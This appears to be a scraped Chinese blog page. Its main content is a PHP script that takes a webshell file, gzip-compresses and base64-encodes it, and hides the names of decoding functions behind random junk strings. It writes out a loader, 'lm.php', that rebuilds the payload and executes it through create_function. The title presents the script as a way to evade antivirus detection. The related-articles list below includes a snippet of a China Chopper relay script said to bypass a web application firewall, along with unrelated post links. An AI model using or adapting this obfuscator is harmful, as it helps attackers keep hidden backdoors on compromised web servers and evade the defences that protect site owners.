<?php

/****************************************
*author: L.N.
*blog : [url]http://lanu.sinaapp.com[/url]
*date : 2014.01.03
*****************************************/
$Key = "";
$YourShell = file_get_contents("1.php");
if($YourShell == null){
echo "not find content!";
}
$En_Base64 = base64_encode(gzdeflate($YourShell));
$Lm_File = fopen('lm.php',"a+");
$Lm_YourShell = Encode($En_Base64,2, &$Key);
$Lm_YourShell_Key = $Key;
fwrite($Lm_File,"<?php \n/* code by L.N. [url]http://lanu.sinaapp.com[/url] */\n");
fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n");
$Lm_Str_Replace = Encode('str_replace', 2, &$Key);
$Lm_Str_Replace_Key = $Key;
fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n");
$Lm_Base64_Decode = Encode('base64_decode',2, &$Key);
$Lm_Base64_Decode_Key = $Key;
fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n");
$Lm_Gzinflate = Encode('gzinflate',2, &$Key);
$Lm_Gzinflate_Key = $Key;
fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n");
$Lm_Create_Cunction = Encode('create_function',2, &$Key);
$Lm_Create_Cunction_Key = $Key;
fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n");
fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n");
fwrite($Lm_File,'$ex();'."\n");
fwrite($Lm_File,'?>'."\n");
fclose($Lm_File);
function Encode($Str, $Key_Num, &$Key)
{
do{
$Key = RandString($Key_Num);
}while(strpos($Str, $Key) !== false);
return InsertString($Str,$Key,$Key_Num);
} function RandString($Num)
{
$Str = 'abcdefghijklmnopqrstuvwxyz';
$Out_Str = "";
for($i=0;$i<$Num;$i++)
{
$Rand = rand(0,25);
$Out_Str .= $Str[$Rand];
}
return $Out_Str;
}
function InsertString($Str, $Key, $Key_Num)
{
$Str_Len = strlen($Str);
if(intval($Str_Len/20) >= 5)
{
$Str_Rand_Num = 20;
}
elseif(intval($Str_Len/10) >= 5)
{
$Str_Rand_Num = 10;
}
elseif(intval($Str_Len/5) >= 5)
{
$Str_Rand_Num = 5;
}
else
{
$Str_Rand_Num = 2;
}
$Arr_Str = str_split($Str, $Str_Rand_Num);
if($Key_Num > $Str_Rand_Num)
{
echo "Key_Num is not greater than Str_Rand_Num";exit;
}
for($i=1;$i<count($Arr_Str);$i++)
{
$Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i];
if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i]))
{
continue;
}
else
{
$Arr_Str[$i-1] .= $Key;
}
}
$Out_Str = implode($Arr_Str);
return $Out_Str;
}
?>

一个PHP加密脚本,达到一定免杀效果的更多相关文章

  1. php中转菜刀脚本过狗免杀

    <?php $target="url";//shell 地址 菜刀连这个脚本做中转 $post=''; $i=0; foreach($_POST AS $K=>$V) ...

  2. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  3. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  4. 2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践

    一.实验要求: . 实践内容(.5分) .5分),msfvenom生成如jar之类的其他文件(.5分),veil-evasion(.5分),加壳工具(.5分),使用shellcode编程(1分) .5 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践

    一.实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应用各种技术实现恶意代码免杀 ( ...

  6. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  7. 20164301 Exp3 免杀原理与实践

    Exp3 免杀原理与实践  1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应 ...

  8. 2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践 实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

  9. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

随机推荐

  1. memcachedb-持久化存储的缓存系统

    Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载.它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提供动态.数据库驱动网站的速度.Memcached ...

  2. A Simple Problem with Integers 多树状数组分割,区间修改,单点求职。 hdu 4267

    A Simple Problem with Integers Time Limit: 5000/1500 MS (Java/Others)    Memory Limit: 32768/32768 K ...

  3. A + B Again

    Problem Description There must be many A + B problems in our HDOJ , now a new one is coming.Give you ...

  4. dp与px之间的转换

    代码如下: package com.example.fxvideo.utils; import android.content.Context; public class DensityUtils { ...

  5. [ASP.NET] Http协议GET与POST

    引言 HTTP 协议我想任何IT人士都耳熟能详了,大家都能说出个所以然来.但是如果我问你HTTP协议的请求方法有哪些?POST与GET的差异?GET或POST传送数据量的大小有限制吗?HTTP响应的状 ...

  6. Java Properties类

    Properties 是哈希表的一个子类.它是用来维持值列表,其中的键是一个字符串,值也是一个字符串. Properties类被许多其他的Java类使用.例如,它是对象通过System.getProp ...

  7. 菜菜菜鸟学习之JavaWeb 入门1(自己的学习理解,不对之处请大神们多多指教啊)

    一.相关基础知识 1.C/S(Client/Server)架构和B/S(Browser/Server)架构 首先说C/S架构,简单讲其实很常见,类似QQ等需要下载客户端的应用程序就是建立在C/S架构中 ...

  8. openlayers加载百度地图

    最近在做openlayers添加百度地图的扩展类,经过轮番的尝试,终于将其接入了,但是发现偏差比较大,有根据百度的坐标进行了比对,将切片原点进行了调整,发现OK了.打开百度地图,可以看出切片的路径如: ...

  9. 启动 Eclipse 弹出“Failed to load the JNI shared library jvm.dll”错误的解决方法!&&在eclipse.ini中为eclipse指定jdk启动

    参考:http://blog.csdn.net/zyz511919766/article/details/7442633 http://blog.sina.com.cn/s/blog_028f0c1c ...

  10. hdu-5700 区间交(二分+树状数组)

    题目链接: 区间交 Problem Description   小A有一个含有n个非负整数的数列与mm个区间.每个区间可以表示为l​i​​,r​i​​. 它想选择其中k个区间, 使得这些区间的交的那些 ...